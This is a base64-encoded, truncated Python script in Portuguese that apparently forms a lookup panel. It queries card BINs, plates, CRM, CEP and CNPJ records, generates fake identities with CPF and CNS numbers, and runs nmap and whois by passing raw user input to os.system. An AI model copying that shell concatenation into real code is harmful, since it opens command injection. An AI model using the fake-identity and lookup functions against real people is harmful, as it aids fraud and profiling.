Y2xlYXIoKQogICAgICAgICAgICBpcChpcF9hcGksIG1vZGUpCgogICAgcHJpbnQoZiJ7Q31be1l9aXtDfV1ERVNFSkEgTE9DQUxJWkFSIFVNIE5PVk8gSVA/IikKICAgIHByaW50KGYie0N9e0d9WzFde0N9IFNpbSIpCiAgICBwcmludChmIntDfXtHfVsyXXtDfSBOw6NvIikKICAgIHZpID0gaW5wdXQoJz09PT4gJykKICAgIGlmIHZpID09ICcxJyBvciB2aSA9PSAnMDEnOgogICAgICAgIGNsZWFyKCkKICAgICAgICBpcChpcF9hcGksIG1vZGUpCgoKZGVmIGJpbigpOgogICAgcHJpbnQoZid7Q317R317cmVzdWx0fXtDfScpCiAgICBwcmludCgnRXhlbXBsbzo0NTcxNzM2MCcpCiAgICBwcmludChmJ3tDfVt7WX1pe0N9XSBEaWdpdGUgYSBCSU4uJykKICAgIGJpbl9pbnB1dCA9IGlucHV0KCI9PT0+IikKICAgIGhlYWRlcnMgPSB7IkFjY2VwdC1WZXJzaW9uIjogIjMiLAogICAgICAgICAgICAgICAiVXNlci1BZ2VudCI6ICJNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBJbnRlbCBNYWMgT1MgWCAxMF8xNV80KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvODMuMC40MTAzLjk3IFNhZmFyaS81MzcuMzYifQogICAgdHJ5OgogICAgICAgIHJlcSA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly9sb29rdXAuYmlubGlzdC5uZXQvJyArIGJpbl9pbnB1dCwgaGVhZGVycz1oZWFkZXJzKQogICAgICAgIHJlcV9kYXRhID0gcmVxLmpzb24oKQogICAgZXhjZXB0OgogICAgICAgIHByaW50KGYne0N9W3tSfUVSUk9Se0N9XSBPY29ycmV1IHVtIGVycm8sdGVudGUgbm92YW1lbnRlLicpCiAgICBjbGVhcigpCiAgICBwcmludChyZXN1bHQpCiAgICBwcmludCgnQmFuZGVpcmE6IHt9Jy5mb3JtYXQocmVxX2RhdGFbJ3NjaGVtZSddKSkKICAgIHByaW50KCdNYXJjYToge30nLmZvcm1hdChyZXFfZGF0YVsnYnJhbmQnXSkpCiAgICBwcmludCgnVGlwbzoge30nLmZvcm1hdChyZXFfZGF0YVsndHlwZSddKSkKICAgIHByaW50KCdQYWlzOiB7fScuZm9ybWF0KHJlcV9kYXRhWydjb3VudHJ5J11bJ25hbWUnXSkpCiAgICBwcmludCgnTGF0aXR1ZGU6IHt9Jy5mb3JtYXQocmVxX2RhdGFbJ2NvdW50cnknXVsnbGF0aXR1ZGUnXSkpCiAgICBwcmludCgnTG9uZ2l0dWRlOiB7fScuZm9ybWF0KHJlcV9kYXRhWydjb3VudHJ5J11bJ2xvbmdpdHVkZSddKSkKICAgIHByaW50KCdNb2VkYToge30nLmZvcm1hdChyZXFfZGF0YVsnY291bnRyeSddWydjdXJyZW5jeSddKSkKICAgIHByaW50KCdFbW9qaToge30nLmZvcm1hdChyZXFfZGF0YVsnY291bnRyeSddWydlbW9qaSddKSkKICAgIHByaW50KGYne0N9W3tZfWl7Q31dIERlc2VqYSByZWFsaXphciB1bWEgbm92YSBjb25zdWx0YT8nKQogICAgcHJpbnQoJzEuU2ltJykKICAgIHByaW50KCcyLk7Do28nKQogICAgY2hvaWNlID0gaW5wdXQoIj09PT4iKQogICAgaWYgY2hvaWNlID09ICcxJyBvciBjaG9pY2UgPT0gJzAxJzoKICAgICAgICBiaW4oKQogICAgZWxpZiBjaG9pY2UgPT0gJzInIG9yIGNob2ljZSA9PSAnMDInOgogICAgICAgIHBhc3MKICAgIGVsc2U6CiAgICAgICAgcHJpbnQoZid7Q31be1J9RVJST1J7Q31dIE9ww6fDo28gaW52w6FsaWRhJykKICAgICAgICB0aW1lLnNsZWVwKDMpCgoKZGVmIGNybSh0b2tlbik6CiAgICBwcmludChmJ3tDfXtHfXtyZXN1bHR9e0N9JykKICAgIHByaW50KGYne0N9W3tHfWl7Q31dIERpZ2l0ZSBvIG51bWVybyBkbyBDUk0uJykKICAgIGNybV9pbnB1dCA9IGlucHV0KCI9PT0+IikKICAgIHByaW50KGYne0N9W3tHfWl7Q31dIERpZ2l0ZSBvIFVGLicpCiAgICB1Zl9pbnB1dCA9IGlucHV0KCI9PT0+IikKICAgIHRyeToKICAgICAgICB1cmwgPSAnaHR0cHM6Ly93d3cuY29uc3VsdGFjcm0uY29tLmJyL2FwaS9pbmRleC5waHA/dGlwbz1jcm0mdWY9JyArIHVmX2lucHV0CiAgICAgICAgZGF0YSA9IHJlcXVlc3RzLmdldCh1cmwgKyAnJnE9e30mY2hhdmU9e30mZGVzdGlubz1qc29uJy5mb3JtYXQoY3JtX2lucHV0LCB0b2tlblsxXSkpCiAgICAgICAgY3JtX2RhdGEgPSBkYXRhLmpzb24oKQogICAgZXhjZXB0OgogICAgICAgIHByaW50KGYne0N9W3tSfUVSUk9Se0N9XSBDUk0gb3UgVUYgaW52YWxpZG8nKQogICAgICAgICMgY29uc3VsdGFzID0gKGNybV9kYXRhWydhcGlfbGltaXRlJ10pIC0gKGNybV9kYXRhWydhcGlfY29uc3VsdGFzJ10pCiAgICBpZiAoY3JtX2RhdGFbJ3N0YXR1cyddKSA9PSAidHJ1ZSI6CiAgICAgICAgIyBwcmludCgnQ29uc3VsdGFzIHJlc3RhbnRlcyA9Jytjb25zdWx0YXMpCiAgICAgICAgdHJ5OgogICAgICAgICAgICBwcmludCgnQ1JNOiB7fScuZm9ybWF0KGNybV9kYXRhWyJpdGVtIl1bMF1bIm51bWVybyJdKSkKICAgICAgICAgICAgcHJpbnQoJ05vbWU6IHt9Jy5mb3JtYXQoY3JtX2RhdGFbIml0ZW0iXVswXVsibm9tZSJdKSkKICAgICAgICAgICAgcHJpbnQoJ1VGOiB7fScuZm9ybWF0KGNybV9kYXRhWyJpdGVtIl1bMF1bInVmIl0pKQogICAgICAgICAgICBwcmludCgnU2l0dWFjYW86IHt9Jy5mb3JtYXQoY3JtX2RhdGFbIml0ZW0iXVswXVsic2l0dWFjYW8iXSkpCiAgICAgICAgICAgIHByaW50KCdQcm9maXNzw6NvOiB7fScuZm9ybWF0KGNybV9kYXRhWyJpdGVtIl1bMF1bInByb2Zpc3NhbyJdKSkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIHByaW50KGYne0N9W3tSfSp7Q31dIEVycm8hIGRhZG9zIGludmFsaWRvcyEnKQogICAgICAgICAgICB0aW1lLnNsZWVwKDMpCiAgICAgICAgICAgIGNvbnN1bHRhY3JtKCkKICAgIGVsc2U6CiAgICAgICAgcHJpbnQoZid7Q31be1J9aXtDfV0gQ1JNIGludmFsaWRvJykKICAgIHByaW50KGYne0N9W3tHfWl7Q31dIERlc2VqYSByZWFsaXphciB1bWEgbm92YSBjb25zdWx0YT8nKQogICAgcHJpbnQoJzEuU2ltJykKICAgIHByaW50KCcyLk7Do28nKQogICAgY2hvaWNlID0gaW5wdXQoIj09PT4iKQogICAgaWYgY2hvaWNlID09ICIxIiBvciBjaG9pY2UgPT0gIjAxIjoKICAgICAgICBjcm0oKQogICAgaWYgY2hvaWNlID09ICIyIiBvciBjaG9pY2UgPT0gIjAyIjoKICAgICAgICBwYXNzCiAgICBlbHNlOgogICAgICAgIHByaW50KCJPcGNhbyBpbnZhbGlkYS4iKQoKCmRlZiBnZXJhcl9wZXNzb2EodG9rZW4pOiAgIyMjIyNSRVdPUksKICAgIHByaW50KGYne0N9e0d9e3Jlc3VsdH17Q30nKQogICAgcHJpbnQoZid7Q31be0d9aXtDfV0gR2VyYW5kbyBwZXNzb2EuJykKICAgIG5hdGlvbmFsID0gWyJCUiIsICJVU0EiLCAiUFQiLCAiQ0EiLCAiSlAiXQogICAgUk4gPSByYW5kaW50KDAsIDEwKQogICAgY25zID0gcmVxdWVzdHMuZ2V0KCdodHRwOi8vZ2VyYWRvcmFwcC5jb20vYXBpL3YxL2Nucy9nZW5lcmF0ZT90b2tlbj17fScuZm9ybWF0KHRva2VuWzBdKSkuanNvbigpCiAgICBjcGYgPSByZXF1ZXN0cy5nZXQoJ2h0dHA6Ly9nZXJhZG9yYXBwLmNvbS9hcGkvdjEvY3BmL2dlbmVyYXRlP3Rva2VuPXt9Jy5mb3JtYXQodG9rZW5bMF0pKS5qc29uKCkKICAgIHBlc3NvYSA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly9yYW5kb211c2VyLm1lL2FwaS8/bmF0PXt9Jy5mb3JtYXQocmFuZG9tLmNob2ljZSgnbmF0aW9uYWwnKSkpLmpzb24oKQoKICAgIHN0YXRlcyA9IFsiQUMiLCAiQUwiLCAiQVAiLCAiQU0iLCAiQkEiLCAiU1AiLCAiUkoiLCAiTVQiLCAiQ0UiLCAiREYiLCAiRVMiLCAiR08iLCAiTUEiLCAiTVMiLCAiTUciLCAiUEEiLCAiUEIiLAogICAgICAgICAgICAgICJQUiIsICJQRSIsICJQSSIsICJSTiIsICJSUyIsICJSTyIsICJSUiIsICJTQyIsICJTRSIsICJUTyJdCiAgICBzdGF0ZSA9IHJhbmRvbS5jaG9pY2Uoc3RhdGVzKQoKICAgIGVtYWlsX3Byb3ZpZGVyID0gWyJAZ21haWwuY29tIiwgIkBvdXRsb29rLmNvbSIsICJAeWFob28uY29tIiwgIkB0ZXJyYS5jb20iXQoKICAgIGVtYWlsID0gKHBlc3NvYVsncmVzdWx0cyddWzBdWyduYW1lJ11bJ2ZpcnN0J10pICsgIi4iICsgKHBlc3NvYVsncmVzdWx0cyddWzBdWyduYW1lJ11bJ2xhc3QnXSkgKyByYW5kb20uY2hvaWNlKAogICAgICAgIGVtYWlsX3Byb3ZpZGVyKQoKICAgIGlmIHBlc3NvYVsncmVzdWx0cyddWzBdWydnZW5kZXInXSA9PSAnZmVtYWxlJzoKICAgICAgICBnZW5kZXIgPSAnRicKICAgIGlmIHBlc3NvYVsncmVzdWx0cyddWzBdWydnZW5kZXInXSA9PSAnbWFsZSc6CiAgICAgICAgZ2VuZGVyID0gJ00nCiAgICBhZ2UgPSByYW5kaW50KDE4LCA4MCkKCiAgICBwcmludCgnTm9tZToge30ge30nLmZvcm1hdChwZXNzb2FbJ3Jlc3VsdHMnXVswXVsnbmFtZSddWydmaXJzdCddLCBwZXNzb2FbJ3Jlc3VsdHMnXVswXVsnbmFtZSddWydsYXN0J10pKQogICAgcHJpbnQoJ0dlbmVybzoge30nLmZvcm1hdChnZW5kZXIpKQogICAgcHJpbnQoJ05hc2NpbWVudG86IHt9Jy5mb3JtYXQocGVzc29hWydyZXN1bHRzJ11bMF1bJ2RvYiddWydkYXRlJ11bMDoxMF0pKQogICAgcHJpbnQoJ0NQRjoge30nLmZvcm1hdChjcGZbJ2RhdGEnXVsnbnVtYmVyX2Zvcm1hdHRlZCddKSkKICAgIHByaW50KCdDUEYgc2VtIGZvcm1hdGHDp8Ojbzoge30nLmZvcm1hdChjcGZbJ2RhdGEnXVsnbnVtYmVyJ10pKQogICAgcHJpbnQoJ0UtbWFpbDoge30nLmZvcm1hdChlbWFpbCkpCiAgICBwcmludCgnQ0VQOiB7fXt9Jy5mb3JtYXQocGVzc29hWydyZXN1bHRzJ11bMF1bJ2xvY2F0aW9uJ11bJ3Bvc3Rjb2RlJ10sICctMDAwJykpCiAgICBwcmludCgnRW5kZXJlw6dvOiB7fScuZm9ybWF0KHBlc3NvYVsncmVzdWx0cyddWzBdWydsb2NhdGlvbiddWydzdHJlZXQnXVsnbmFtZSddKSkKICAgIHByaW50KCdDaWRhZGU6IHt9Jy5mb3JtYXQocGVzc29hWydyZXN1bHRzJ11bMF1bJ2xvY2F0aW9uJ11bJ2NpdHknXSkpCiAgICBwcmludCgnRXN0YWRvOiB7fScuZm9ybWF0KHBlc3NvYVsncmVzdWx0cyddWzBdWydsb2NhdGlvbiddWydzdGF0ZSddKSkKICAgIHByaW50KGYne0N9W3tZfWl7Q31dIERlc2VqYSBnZXJhciBtYWlzIHVtYSBwZXNzb2E/JykKICAgIHByaW50KGYne0N9W3tHfTF7Q31dIFNpbScpCiAgICBwcmludChmJ3tDfVt7R30ye0N9XSBOw6NvJykKICAgIGNob2ljZSA9IGlucHV0KCc9PT0+JykKICAgIGlmIGNob2ljZSA9PSAnMScgb3IgY2hvaWNlID09ICcwMSc6CiAgICAgICAgY2xlYXIoKQogICAgICAgIGdlcmFyX3Blc3NvYSh0b2tlbikKCgpkZWYgY29uc3VsdGFwbGFjYSgpOgogICAgIyBodHRwOi8vYXBpLm1hc3RlcnBsYWNhLmRldnBsYW5rLmNvbS92Mi9wbGFjYS97cGxhY2F9L2pzb24KICAgIHByaW50KGYne0N9e0d9e3Jlc3VsdH17Q30nKQogICAgcHJpbnQoZid7Q31be0d9aV17Q31EaWdpdGUgbyBudW1lcm8gZGEgcGxhY2EuJykKICAgIHBsYWNhX2lucHV0ID0gaW5wdXQoIj09PT4iKQogICAgcmVxID0gcmVxdWVzdHMuZ2V0KCdodHRwczovL2FwaWNhcnJvcy5jb20vdjEvY29uc3VsdGEve30vanNvbicuZm9ybWF0KHBsYWNhX2lucHV0KSwgdmVyaWZ5PUZhbHNlKSAgIyBKU1E3NDM2CiAgICBwbGFjYV9kYXRhID0gcmVxLmpzb24oKQogICAgY2xlYXIoKQogICAgcHJpbnQoZid7Q317R317cmVzdWx0fXtDfScpCiAgICB0cnk6CiAgICAgICAgaWYgKHBsYWNhX2RhdGFbJ2NvZGlnb1JldG9ybm8nXSkgPT0gIjAiOgogICAgICAgICAgICBwcmludChmIntDfUFubzoge0J9e3BsYWNhX2RhdGFbJ2FubyddfXtDfSIpCiAgICAgICAgICAgIHByaW50KGYiRGF0YToge0J9e3BsYWNhX2RhdGFbJ2RhdGEnXX17Q30iKQogICAgICAgICAgICBwcmludChmIk1vZGVsbzoge0J9e3BsYWNhX2RhdGFbJ21vZGVsbyddfXtDfSIpCiAgICAgICAgICAgIHByaW50KGYiQW5vIGRvIG1vZGVsbzoge0J9e3BsYWNhX2RhdGFbJ2Fub01vZGVsbyddfXtDfSIpCiAgICAgICAgICAgIHByaW50KGYiQ29yOiB7Qn17cGxhY2FfZGF0YVsnY29yJ119e0N9IikKICAgICAgICAgICAgcHJpbnQoZiJNYXJjYToge0J9e3BsYWNhX2RhdGFbJ21hcmNhJ119e0N9IikKICAgICAgICAgICAgcHJpbnQoZiJSb3Viby9mdXJ0bzoge0J9e3BsYWNhX2RhdGFbJ2RhdGFBdHVhbGl6YWNhb1JvdWJvRnVydG8nXX17Q30iKQogICAgICAgICAgICBwcmludChmIlNpdHVhw6fDo286IHtCfXtwbGFjYV9kYXRhWydzaXR1YWNhbyddfXtDfSIpCiAgICAgICAgICAgIHByaW50KGYiUGxhY2E6IHtCfXtwbGFjYV9kYXRhWydwbGFjYSddfXtDfSIpCiAgICAgICAgICAgIHByaW50KGYiQ2hhc3NpOiB7Qn17cGxhY2FfZGF0YVsnY2hhc3NpJ119e0N9IikKICAgICAgICAgICAgcHJpbnQoZiJVRjoge0J9e3BsYWNhX2RhdGFbJ3VmJ119e0N9IikKICAgICAgICAgICAgcHJpbnQoZiJNdW5pY8OtcGlvOiB7Qn17cGxhY2FfZGF0YVsnbXVuaWNpcGlvJ119e0N9IikKICAgICAgICAgICAgcHJpbnQoZiJNb2RpZmljYWRhIGVtOiB7Qn17cGxhY2FfZGF0YVsnZGF0YUF0dWFsaXphY2FvQ2FyYWN0ZXJpc3RpY2FzVmVpY3VsbyddfXtDfSIpCiAgICAgICAgICAgIHByaW50KGYiQWxhcm1lIGF0dWFsaXphZG86IHtCfXtwbGFjYV9kYXRhWydkYXRhQXR1YWxpemFjYW9BbGFybWUnXX17Q30iKQogICAgICAgICAgICBwcmludChmIk1lbnNhZ2VtIGRlIHJldG9ybm86IHtCfXtwbGFjYV9kYXRhWydtZW5zYWdlbVJldG9ybm8nXX17Q30iKQogICAgICAgICAgICBwcmludChmIkPDs2RpZ28gZGUgcmV0b3Jubzoge0J9e3BsYWNhX2RhdGFbJ2NvZGlnb1JldG9ybm8nXX17Q30iKQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50KGYne0N9W3tSfWlde0N9IFNlbSBkYWRvcyBzb2JyZS4nKQogICAgZXhjZXB0OgogICAgICAgIHByaW50KGYne0N9W3tSfUVSUk9Se0N9XSBQbGFjYSBpbnZhbGlkYScpCiAgICAgICAgdGltZS5zbGVlcCgzKQogICAgZGVsIHBsYWNhX2RhdGEKICAgIGRlbCByZXEKICAgIGRlbCBwbGFjYV9pbnB1dAogICAgcHJpbnQoZid7Q31be0d9aXtDfV0gRGVzZWphIHJlYWxpemFyIHVtYSBub3ZhIGNvbnN1bHRhPycpCiAgICBwcmludCgnMS5TaW0nKQogICAgcHJpbnQoJzIuTsOjbycpCiAgICBjaG9pY2UgPSBpbnB1dCgiPT09PiIpCiAgICBpZiBjaG9pY2UgPT0gIjEiIG9yIGNob2ljZSA9PSAiMDEiOgogICAgICAgIGNvbnN1bHRhcGxhY2EoKQogICAgaWYgY2hvaWNlID09ICIyIiBvciBjaG9pY2UgPT0gIjAyIjoKICAgICAgICBwYXNzCiAgICBlbHNlOgogICAgICAgIHByaW50KCJPcGNhbyBpbnZhbGlkYS4iKQoKCmRlZiBjbnModG9rZW4sIGFuaW0pOgogICAgcHJpbnQoZid7Q317R317cmVzdWx0fXtDfScpCiAgICBwcmludChmJycnCntDfVt7R31pe0N9XUZvcm1hcyBkZSBvcGVyYcOnw6NvClt7R30xe0N9XUdlcmFyIENOUwpbe0d9MntDfV1Db25zdWx0YXIgQ05TCicnJykKICAgIGNob2ljZSA9IGlucHV0KCc9PT0+JykKICAgIGNsZWFyKCkKICAgIGlmIGNob2ljZSA9PSAnMScgb3IgY2hvaWNlID09ICcwMSc6CiAgICAgICAgcHJpbnQoZid7Q31be0d9aXtDfV0gR2VyYW5kbyBDTlMnKQogICAgICAgIGNucyA9IHJlcXVlc3RzLnJlcXVlc3QoJ0dFVCcsICdodHRwOi8vZ2VyYWRvcmFwcC5jb20vYXBpL3YxL2Nucy9nZW5lcmF0ZT90b2tlbj17fScuZm9ybWF0KHRva2VuWzBdKSkuanNvbigpCiAgICAgICAgY25zMiA9IGNuc1snZGF0YSddWydudW1iZXJfZm9ybWF0dGVkJ10KICAgICAgICBlbnRyYWRhID0gY25zWydkYXRhJ11bJ251bWJlciddCiAgICAgICAgcHJpbnQoZid7Q31be1l9aXtDfV0gTyBDTlMgZ2VyYWRvIGZvaTogJyArIGNuczIpCiAgICAgICAgaWYgYW5pbSA9PSAxOgogICAgICAgICAgICB0aW1lLnNsZWVwKDEpCiAgICAgICAgcHJpbnQoZid7Q31be0d9aXtDfV0gQ29uc3VsdGFuZG8gQ05TLi4uJykKICAgIGlmIGNob2ljZSA9PSAnMicgb3IgY2hvaWNlID09ICcwMic6CiAgICAgICAgZW50cmFkYSA9IGlucHV0KCc9PT0+JykKICAgIGlmIGFuaW0gPT0gMToKICAgICAgICB0aW1lLnNsZWVwKDEpCiAgICBjbGVhcigpCiAgICBjbnNfZGF0YSA9IHJlcXVlc3RzLmdldCgnaHR0cDovL2dlcmFkb3JhcHAuY29tL2FwaS92MS9jbnMvdmFsaWRhdGUve30/dG9rZW49e30nLmZvcm1hdChlbnRyYWRhLCB0b2tlblswXSkpLmpzb24oKQogICAgdHJ5OgogICAgICAgIHByaW50KCdOdW1lcm86IHt9Jy5mb3JtYXQoY25zX2RhdGFbImRhdGEiXVsibnVtYmVyIl0pKQogICAgICAgIHByaW50KCdNZW5zYWdlbToge30nLmZvcm1hdChjbnNfZGF0YVsiZGF0YSJdWyJtZXNzYWdlIl0pKQogICAgZXhjZXB0OgogICAgICAgIHByaW50KGYne0N9W3tSfSp7Q31dIENOUyBJTlZBTElETy4nKQogICAgcHJpbnQoZiJ7Q317R31ERVNFSkEgUkVBTElaQVIgVU1BIE5PVkEgQ09OU1VMVEE/e0N9IikKICAgIHByaW50KGYie0N9e0d9WzFde0N9IFNpbSIpCiAgICBwcmludChmIntDfXtHfVsyXXtDfSBOw6NvIikKICAgIGxvID0gaW5wdXQoJz09PT4gJykKICAgIGlmIGxvID09ICcxJyBvciBsbyA9PSAnMDEnOgogICAgICAgIGNucyh0b2tlbiwgYW5pbSkKCgpkZWYgY2VwKGFuaW0pOgogICAgY2xlYXIoKQogICAgcHJpbnQoZid7Q317R317cmVzdWx0fXtDfScpCiAgICBwcmludChmJ3tDfVt7R31pe0N9XSBJbmZvcm1lIG8gQ0VQLicpCiAgICBjZXBfaW5wdXQgPSBpbnB1dCgiPT09PiIpCiAgICBpZiBsZW4oY2VwX2lucHV0KSAhPSA4OgogICAgICAgIHByaW50KGYie0N9W3tSfUVSUk9Se0N9XSBRVUFOVElEQURFIERFIERJR0lUT1MgSU5WQUxJREEiKQogICAgICAgIHRpbWUuc2xlZXAoMykKICAgICAgICBjZXAoYW5pbSkKCiAgICByZXF1ZXN0ID0gcmVxdWVzdHMuZ2V0KCdodHRwczovL3ZpYWNlcC5jb20uYnIvd3Mve30vanNvbi8nLmZvcm1hdChjZXBfaW5wdXQpKQoKICAgIGFkcmVzc19kYXRhID0gcmVxdWVzdC5qc29uKCkKICAgIGNsZWFyKCkKICAgIHRyeToKICAgICAgICBwcmludChyZXN1bHQpCiAgICAgICAgcHJpbnQoJ0NlcDoge30nLmZvcm1hdChhZHJlc3NfZGF0YVsnY2VwJ10pKQogICAgICAgIHByaW50KCdMb2dyYWRvdXJvOiB7fScuZm9ybWF0KGFkcmVzc19kYXRhWydsb2dyYWRvdXJvJ10pKQogICAgICAgIHByaW50KCdDb21wbGVtZW50bzoge30nLmZvcm1hdChhZHJlc3NfZGF0YVsnY29tcGxlbWVudG8nXSkpCiAgICAgICAgcHJpbnQoJ0JhaXJybzoge30nLmZvcm1hdChhZHJlc3NfZGF0YVsnYmFpcnJvJ10pKQogICAgICAgIHByaW50KCdDaWRhZGU6IHt9Jy5mb3JtYXQoYWRyZXNzX2RhdGFbImxvY2FsaWRhZGUiXSkpCiAgICAgICAgcHJpbnQoJ0VzdGFkbzoge30nLmZvcm1hdChhZHJlc3NfZGF0YVsndWYnXSkpCiAgICAgICAgcHJpbnQoJ0lCR0U6IHt9Jy5mb3JtYXQoYWRyZXNzX2RhdGFbJ2liZ2UnXSkpCiAgICAgICAgcHJpbnQoJ0dJQToge30nLmZvcm1hdChhZHJlc3NfZGF0YVsnZ2lhJ10pKQogICAgICAgIHByaW50KCdTSUFGSToge30nLmZvcm1hdChhZHJlc3NfZGF0YVsnc2lhZmknXSkpCiAgICAgICAgcHJpbnQoJ0RERDoge30nLmZvcm1hdChhZHJlc3NfZGF0YVsnZGRkJ10pKQogICAgZXhjZXB0OgogICAgICAgIHByaW50KGYne0N9W3tSfUVSUk9Se0N9XSBDRVAgSU5WQUxJRE8uJykKICAgIHByaW50KGYie0N9e0d9REVTRUpBIFJFQUxJWkFSIFVNQSBOT1ZBIENPTlNVTFRBP3tDfSIpCiAgICBwcmludChmIntDfVt7R30xe0N9XSBTaW0iKQogICAgcHJpbnQoZiJ7Q31be0d9MntDfV0gTsOjbyIpCiAgICBvcHRpb24gPSBpbnB1dCgnPT09PiAnKQogICAgaWYgb3B0aW9uID09ICcxJzoKICAgICAgICBjZXAoYW5pbSkKICAgIGlmIG9wdGlvbiA9PSAnMic6CiAgICAgICAgcGFzcwogICAgZWxzZToKICAgICAgICBwcmludChmJ3tDfVt7Un1pe0N9XSBPcMOnw6NvIGludsOhbGlkYScpCiAgICAgICAgdGltZS5zbGVlcCgyKQogICAgICAgIHBhc3MKCgpkZWYga2lueV9pbmZvZ2EoKToKICAgIG9zLnN5c3RlbSgiYXB0IGluc3RhbGwgbm1hcCB3aG9pcyIpCiAgICBjbGVhcigpCiAgICBwcmludChmJ3tDfXtHfXtyZXN1bHR9e0N9JykKICAgIHByaW50KCkKICAgIGogPSBpbnB1dCgiMSBwYXJhIEhUVFBTLCAyIHBhcmEgSFRUUDoiKQogICAgayA9IGlucHV0KCJEb21haW46ICIpCiAgICBpZiBqID09ICcxJzoKICAgICAgICBwcmludCgiVVJMOiAiImh0dHBzOi8vd3d3LiIgKyBrKQogICAgICAgIG9zLnN5c3RlbSgibm1hcCAiICsgaykKICAgICAgICBvcy5zeXN0ZW0oIndob2lzICIgKyBrKQogICAgcHJpbnQoKQogICAgaWYgaiA9PSAnMic6CiAgICAgICAgcHJpbnQoIlVSTDogIiJodHRwOi8vd3d3LiIgKyBrKQogICAgICAgIG9zLnN5c3RlbSgibm1hcCAiICsgaykKICAgICAgICBvcy5zeXN0ZW0oIndob2lzICIgKyBrKQogICAgcHJpbnQoIlByZXNzaW9uZSBlbnRlciBwYXJhIHZvbHRhci4iKQogICAgcGF1c2UgPSBpbnB1dCgiPT09PT4iKQoKCmRlZiBjbnBqKGtjdCwgdG9rZW4sIGFuaW0pOgogICAgY2xlYXIoKQogICAgaWYga2N0ID09ICcxJyBvciBrY3QgPT0gJzAxJzoKICAgICAgICBnZW4gPSAiMSIKICAgIGVsaWYga2N0ID09ICcyJyBvciBrY3QgPT0gJzAyJzoKICAgICAgICBwcmludChmJ3tDfXtHfXtyZXN1bHR9e0N9JykKICAgICAgICBwcmludCgiRElHSVRFIE8gQ05QSiBTRU0gLyAuIE9VIC0iKQogICAgICAgIGNucGpfaW5wdXQgPSBpbnB1dCgiPT09PiIpCiAgICAgICAgZ2VuID0gMAogICAgZWxzZToKICAgICAgICBwcmludCgnT3DDp8OjbyBpbnbDoWxpZGEnKQogICAgICAgIHRpbWUuc2xlZXAoMykKICAgICAgICBjbnBqKHRva2VuLCBhbmltKQogICAgaWYgZ2VuID09ICIxIjoKICAgICAgICBwcmludChmJ3tDfVt7R30qe0N9XSBHZXJhbmRvIENOUEouLi4nKQogICAgICAgIGlmIGFuaW0gPT0gJzEnOgogICAgICAgICAgICB0aW1lLnNsZWVwKDEpCiAgICAgICAgY25wal9kYXRhID0gcmVxdWVzdHMuZ2V0KCdodHRwOi8vZ2VyYWRvcmFwcC5jb20vYXBpL3YxL2NucGovZ2VuZXJhdGU/dG9rZW49e30nLmZvcm1hdCh0b2tlblswXSkpLmpzb24oKQogICAgICAgIGNucGpfaW5wdXQgPSAoY25wal9kYXRhWydkYXRhJ11bJ251bWJlciddKQogICAgICAgIGNucGpfZm9ybWF0dGVkID0gKGNucGpfZGF0YVsnZGF0YSddWydudW1iZXJfZm9ybWF0dGVkJ10pCiAgICAgICAgcHJpbnQoZid7Q31be1l9aXtDfV0gTyBDTlBKIGdlcmFkbyBmb2k6IHtjbnBqX2Zvcm1hdHRlZH0nKQogICAgcHJpbnQoZid7Q31be0d9aXtDfV0gQ29uc3VsdGFuZG8gQ05QSi4uLiAnKQogICAgdHJ5OgogICAgICAgIGNucGpfZGF0YSA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly93d3cucmVjZWl0YXdzLmNvbS5ici92MS9jbnBqL3t9Jy5mb3JtYXQoY25wal9pbnB1dCkpLmpzb24oKQogICAgZXhjZXB0OgogICAgICAgIHByaW50KGYne0N9W3tSfSp7Q31dRXJybyBubyBzZXJ2aWRvcicpCiAgICAgICAgY25wal9kYXRhID0gIm1lc3NhZ2UiCgogICAgaWYgJ21lc3NhZ2UnIG5vdCBpbiBjbnBqX2RhdGE6CiAgICAgICAgdGFnYWluID0gJzAnCiAgICAgICAgcHJpbnQoIkNOUEo6IHt9Ii5mb3JtYXQoY25wal9kYXRhWydjbnBqJ10pKQogICAgICAgIHByaW50KCJBdGl2aWRhZGUgcHJpbmNpcGFsOiB7fSIuZm9ybWF0KGNucGpfZGF0YVsnYXRpdmlkYWRlX3ByaW5jaXBhbCddWzBdWyd0ZXh0J10pKQogICAgICAgIHByaW50KCJOb21lOiB7fSIuZm9ybWF0KGNucGpfZGF0YVsnbm9tZSddKSkKICAgICAgICBwcmludCgiQ0VQOiB7fSIuZm9ybWF0KGNucGpfZGF0YVsnY2VwJ10pKQogICAgICAgIHRyeToKICAgICAgICAgICAgcHJpbnQoIlRlbGVmb25lOiB7fSIuZm9ybWF0KGNucGpfZGF0YVsndGVsZWZvbmUnXSkpCiAgICAgICAgZXhjZXB0OgogICAgICAgICAgICBwYXNzCiAgICAgICAgdHJ5OgogICAgICAgICAgICBwcmludCgiRW1haWw6IHt9Ii5mb3JtYXQoY25wal9kYXRhWydlbWFpbCddKSkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIHBhc3MKICAgICAgICBwcmludCgiU2l0dWHDp8Ojbzoge30iLmZvcm1hdChjbnBqX2RhdGFbJ3NpdHVhY2FvJ10pKQogICAgICAgIHByaW50KCJVRjoge30iLmZvcm1hdChjbnBqX2RhdGFbJ3VmJ10pKQogICAgICAgIHByaW50KCJNdW5pY2lwaW86IHt9Ii5mb3JtYXQoY25wal9kYXRhWydtdW5pY2lwaW8nXSkpCiAgICAgICAgcHJpbnQoIkxvZ3JhZG91cm86IHt9Ii5mb3JtYXQoY25wal9kYXRhWydsb2dyYWRvdXJvJ10pKQogICAgICAgIHByaW50KCJOdW1lcm86IHt9Ii5mb3JtYXQoY25wal9kYXRhWydudW1lcm8nXSkpCiAgICAgICAgcHJpbnQoIkNvbXBsZW1lbnRvOiB7fSIuZm9ybWF0KGNucGpfZGF0YVsnY29tcGxlbWVudG8nXSkpCiAgICAgICAgcHJpbnQoIlBvcnRlOiB7fSIuZm9ybWF0KGNucGpfZGF0YVsncG9ydGUnXSkpCiAgICAgICAgcHJpbnQoIk5hdHVyZXphOiB7fSIuZm9ybWF0KGNucGpfZGF0YVsnbmF0dXJlemFfanVyaWRpY2EnXSkpCiAgICAgICAgcHJpbnQoIkRhdGEgZGUgYWJlcnR1cmE6IHt9Ii5